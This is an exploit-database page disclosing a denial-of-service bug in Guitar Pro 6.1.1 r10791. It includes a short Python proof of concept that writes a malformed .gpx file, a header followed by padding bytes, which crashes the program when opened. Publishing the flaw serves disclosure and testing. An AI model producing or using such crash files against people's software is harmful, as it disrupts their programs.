Guitar Pro 6.1.1 r10791 (.gpx) Crash POC

vendor:

Guitar Pro 6.1.1 r10791

by:

condis

7,5

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: Guitar Pro 6.1.1 r10791

Affected Version From: 6.1.1 r10791

Affected Version To: 6.1.1 r10791

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP3 PL

2012

Guitar Pro 6.1.1 r10791 (.gpx) Crash POC

Guitar Pro 6.1.1 r10791 is vulnerable to a Denial of Service (DoS) attack when a malformated file is loaded into the program. The program will crash, but the place of crash and registers values differ every time.

Mitigation:

No known mitigation or remediation for this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python

# ---------------------------------------------------------
# Guitar Pro 6.1.1 r10791 (.gpx) Crash POC
# found by condis
# 
# Date      : 01 May 2012 AD
# Tested on : Windows XP Professional SP3 PL
#
# Description :
#
# Each load of malformated file into the program ends up 
# with crash, but place of crash and registers values 
# differ every time o_O"
#  
# In my opinion, this bug does not allow for anything else 
# except getting to a DoS situation, therefore no further 
# research was done.
# ---------------------------------------------------------

evil  = "BCFZ\x04\x10\x01\x00"
evil += "A" * 953

file = open('ogonek_and_cooh_-_not_my_type.gpx', 'w')
file.write(evil)
file.close()

print "Sex, drugs & drum'n'bass!"